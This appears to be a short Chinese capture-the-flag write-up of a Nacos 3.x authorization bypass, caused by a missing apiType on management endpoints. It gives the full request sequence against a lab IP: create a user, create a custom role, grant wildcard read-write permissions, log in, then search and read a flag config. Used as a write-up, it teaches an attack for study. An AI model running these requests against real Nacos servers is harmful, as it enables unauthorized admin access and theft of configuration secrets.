Nacos 3.x 权限绕过漏洞
@Secured 注解来鉴权。注解里有一个 apiType 属性,用来区分接口类型(如 ADMIN_API 管理接口、OPEN_API 开放接口)。UserControllerV3 等管理接口的 @Secured 注解里,漏写了 apiType = ApiType.ADMIN_API。apiType 缺失时,接口默认落入 OPEN_API 作用域,而这个作用域在鉴权过滤器中是默认放行的。


POST http://64.90.0.172:20256/nacos/v3/auth/userusername=hacker:要创建的账号名(自定义)。password=123456:账号密码(自定义)。UserControllerV3 接口,凭空注册一个账号。
POST http://64.90.0.172:20256/nacos/v3/auth/roleusername=hacker:指定哪个用户绑定该角色。role=my_admin:自定义角色名(千万不能用 ROLE_ADMIN,系统会拦截)。
POST http://64.90.0.172:20256/nacos/v3/auth/permissionrole=my_admin:指定给哪个角色授权。resource=*:*表示所有资源(包括所有配置文件)。action=rw:rw表示读写权限(Read & Write)。
POST http://64.90.0.172:20256/nacos/v3/auth/user/loginusername=hacker&password=123456:使用刚才创建的凭据登录。accessToken(后续所有操作全靠它,即截图里那长串 eyJ...)。
GET http://64.90.0.172:20256/nacos/v3/admin/cs/config/list?search=blur&dataId=*flag*&pageNo=1&pageSize=10accessToken: eyJ...:证明你已登录。search=blur:模糊搜索模式(如果写 accurate 就是精确匹配)。dataId=*flag*:查询文件名(dataId)包含 flag 关键字的配置。pageNo=1&pageSize=10:分页参数,查第1页,每页10条,防止数据过多卡死。dataId: flag.yml 和 groupName: DEFAULT_GROUP)。找到flag文件名

GET http://64.90.0.172:20256/nacos/v3/admin/cs/config?dataId=flag.yml&groupName=DEFAULT_GROUPaccessToken: eyJ...:身份凭证。dataId=flag.yml:上一步查到的文件名叫 flag.yml。groupName=DEFAULT_GROUP:上一步查到的分组名叫 DEFAULT_GROUP。"content": "flag{921312bd-b698-45a8-9a23-4a93845a4e4b}"。